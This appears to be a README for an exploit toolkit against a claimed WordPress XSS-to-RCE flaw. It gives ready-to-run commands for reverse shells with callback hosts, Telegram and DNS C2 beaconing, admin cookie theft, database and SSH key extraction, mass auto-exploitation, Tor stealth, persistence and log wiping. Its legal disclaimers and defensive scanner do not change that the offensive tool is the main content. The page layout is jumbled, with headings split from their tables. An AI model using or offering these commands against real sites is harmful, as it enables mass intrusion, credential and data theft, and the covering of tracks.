CVE PoC

🌀 CVE‑2026‑64638 – WordPress XSS2Shell Security Suite

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

📖 Vulnerability Overview

CVE‑2026‑64638 is a critical pre‑authentication reflected XSS vulnerability in WordPress core versions 4.7.0 through 7.0.2 that allows an attacker to escalate an XSS attack to full remote code execution (RCE) via the Application Password feature.

How it works

Parser Differential – PHP's strip_tags() and WordPress's wp_kses_post() parse HTML tags differently, allowing malicious input to pass sanitization.
Reflected XSS – an attacker injects a specially crafted payload into the login form (wp-login.php). Upon failed login, the payload is reflected back and executed in the victim's browser.
Application Password Abuse – the injected JavaScript automatically generates an Application Password through the WordPress REST API, exfiltrating it to the attacker.
Plugin Upload (RCE) – using the captured Application Password, the attacker authenticates to the admin panel and uploads a malicious plugin containing a webshell.
Full System Compromise – the webshell provides system command execution, allowing reverse shells, persistence, lateral movement, and complete server takeover.

Affected Versions

WordPress 4.7.0 – 7.0.2 – vulnerable
WordPress 7.0.3 and later – patched
Security updates have been backported to all maintained branches

Patch

Upgrade to WordPress 7.0.3 or newer.
If upgrade is not possible, disable Application Password feature as a temporary workaround.

🧰 Tools

Tool	Purpose	Intended User
`exploit.py`	Full exploitation toolkit with reverse shell, persistence, C2, privilege escalation, memory forensics, database dump, SSH key extraction, and mass scanning.	Red teams / authorized pentesters

📊 Feature Comparison

🎯 Use Case Summary

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-64638-PoC-Exploit
cd CVE-2026-64638-PoC-Exploit
pip install -r requirements.txt

requirements.txt

requests
urllib3
#ops
pymysql
mysql-connector-python
PySocks
requests[socks]

📋 Parameters

`exploit.py` Parameters

`safecheck.py` Parameters

💥 Scenarios

📊 Interactive Shell Commands

🧪 Endpoint & API Usage

Endpoint	Purpose
`/wp-login.php`	Login page – XSS injection point
`/wp-admin/authorize-application.php`

🛡️ Responsible Use

Only use these tools on systems you own or have explicit written permission to test.
Unauthorized access is illegal and unethical.
The authors are not responsible for any misuse.
Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Vulnerability detection	✅	✅
WordPress version detection	✅	✅
XSS reflection detection	✅	✅
Application Password capture	✅	❌
Plugin upload (RCE)	✅	❌
Reverse shell	✅	❌
C2 beaconing (HTTP/DNS/Telegram)	✅	❌
Privilege escalation	✅	❌
Memory forensics	✅	❌
Database dump	✅	❌
SSH key extraction	✅	❌
Persistence methods	✅	❌
Security headers audit	❌	✅
Config file exposure check	❌	✅
Directory listing check	❌	✅
phpinfo exposure check	❌	✅
Mass scanning	✅	✅
Proxy support	✅	✅
Tor support	✅	✅
Ngrok tunneling	✅	❌
Interactive shell	✅	❌
Non‑intrusive (safe) mode	❌	✅
JSON / report output	✅	✅

Blue Team – verifying if your WordPress installation is vulnerable	`safecheck.py`
Security Audit – non‑intrusive vulnerability assessment	`safecheck.py`
Red Team – authorized penetration testing with full exploitation	`exploit.py`
Bug Bounty – responsible disclosure testing	`safecheck.py`
Mass Scanning – checking multiple targets for vulnerability	`exploit.py` or `safecheck.py`
Incident Response – checking if systems are compromised	`safecheck.py`
Advanced Post‑Exploitation – persistence, C2, forensics	`exploit.py`

`-t, --target`	Target WordPress URL (e.g. `https://wordpress-site.com`)
`-l, --list`	File containing list of targets (one per line) for mass scanning
`--lhost`	Local IP address for reverse shell callbacks
`--lport`	Local port for reverse shell (default: 4444)
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`--timeout`	Request timeout in seconds (default: 10)
`--retry`	Number of retries (default: 3)
`--threads`	Number of threads for mass scanning (default: 5)
`--exploit`	Auto‑exploit vulnerable targets during mass scan
`--ngrok-token`	Ngrok authtoken for external tunneling
`--payload-type`	XSS payload type: `reflected`, `dom_based`, `waf_bypass`, `case_manipulation`, `double_encoded`
`--session-hijack`	Enable session hijacking (steal admin cookies)
`--dump-db`	Dump WordPress database (requires pymysql)
`--extract-ssh`	Extract SSH keys from the target system
`--tor`	Route traffic through Tor (socks5h://127.0.0.1:9050)
`--stealth`	Enable stealth mode (spoof headers, delay requests)
`--no-cleanup`	Skip log cleanup after exploitation
`--ssl-verify`	Verify SSL certificates
`--c2-type`	C2 type: `http`, `dns`, `telegram`
`--c2-server`	C2 server URL or Telegram bot token
`--auto-priv-esc`	Auto privilege escalation after shell
`--memory-forensics`	Enable memory forensics module
`-v, --verbose`	Verbose output
`-q, --quiet`	Quiet mode (minimal output)

`-t, --target`	Target WordPress URL (e.g. `https://wordpress-site.com`)
`-l, --list`	File containing list of targets (one per line) for mass scanning
`--timeout`	Request timeout in seconds (default: 10)
`--retry`	Number of retries (default: 3)
`--threads`	Number of threads for mass scanning (default: 5)
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`--tor`	Route traffic through Tor (socks5h://127.0.0.1:9050)
`--ssl-verify`	Verify SSL certificates
`--output`	Output JSON report file
`-v, --verbose`	Verbose output
`-q, --quiet`	Quiet mode (minimal output)

1	Quick vulnerability check	`python safecheck.py -t https://wordpress-site.com`
2	Detailed scan with report	`python safecheck.py -t https://wordpress-site.com --output report.json -v`
3	Full exploitation with reverse shell	`python exploit.py -t https://wordpress-site.com --lhost 192.168.1.100 --exploit`
4	Use custom XSS payload	`python exploit.py -t https://wordpress-site.com --payload-type waf_bypass`
5	Session hijacking (steal admin cookies)	`python exploit.py -t https://wordpress-site.com --session-hijack`
6	Dump WordPress database	`python exploit.py -t https://wordpress-site.com --dump-db`
7	Extract SSH keys	`python exploit.py -t https://wordpress-site.com --extract-ssh`
8	Use Tor for anonymity	`python exploit.py -t https://wordpress-site.com --tor --stealth`
9	C2 beaconing with Telegram	`python exploit.py -t https://wordpress-site.com --c2-type telegram --c2-server "https://api.telegram.org/botTOKEN/chat_id"`
10	Mass scanning from file	`python exploit.py -l targets.txt --threads 10 --exploit`
11	Memory forensics after shell	`python exploit.py -t https://wordpress-site.com --memory-forensics`
12	Auto privilege escalation	`python exploit.py -t https://wordpress-site.com --auto-priv-esc`
13	Interactive shell	`python exploit.py -t https://wordpress-site.com -i`
14	Ngrok tunneling	`python exploit.py -t https://wordpress-site.com --ngrok-token YOUR_TOKEN`

Most Popular

About

CVE-2026-64638-PoC-Exploit

`reverse`	Start reverse shell listener
`persist`	Apply persistence methods (cron, systemd, rc.local, SSH, WP)
`clean`	Clean system logs and history
`dumpdb`	Dump WordPress database
`ssh`	Extract SSH keys
`priv`	Auto privilege escalation
`mem`	Run memory forensics
`c2`	Show C2 status
`c2task`	Check for C2 tasks
`exit`	Exit interactive shell

United States	Computer Fraud and Abuse Act (CFAA) – 18 U.S.C. § 1030
United Kingdom	Computer Misuse Act 1990
Turkey	TCK 243 (Unauthorized Access), TCK 244 (System Interference)
Germany	StGB § 202a (Data Espionage), § 202b (Data Interception)
France	Loi Godfrain – Article 323-1
Australia	Cybercrime Act 2001
Canada	Criminal Code – Section 342.1
India	Information Technology Act 2000 – Section 43, 66
Japan	Act on Prohibition of Unauthorized Computer Access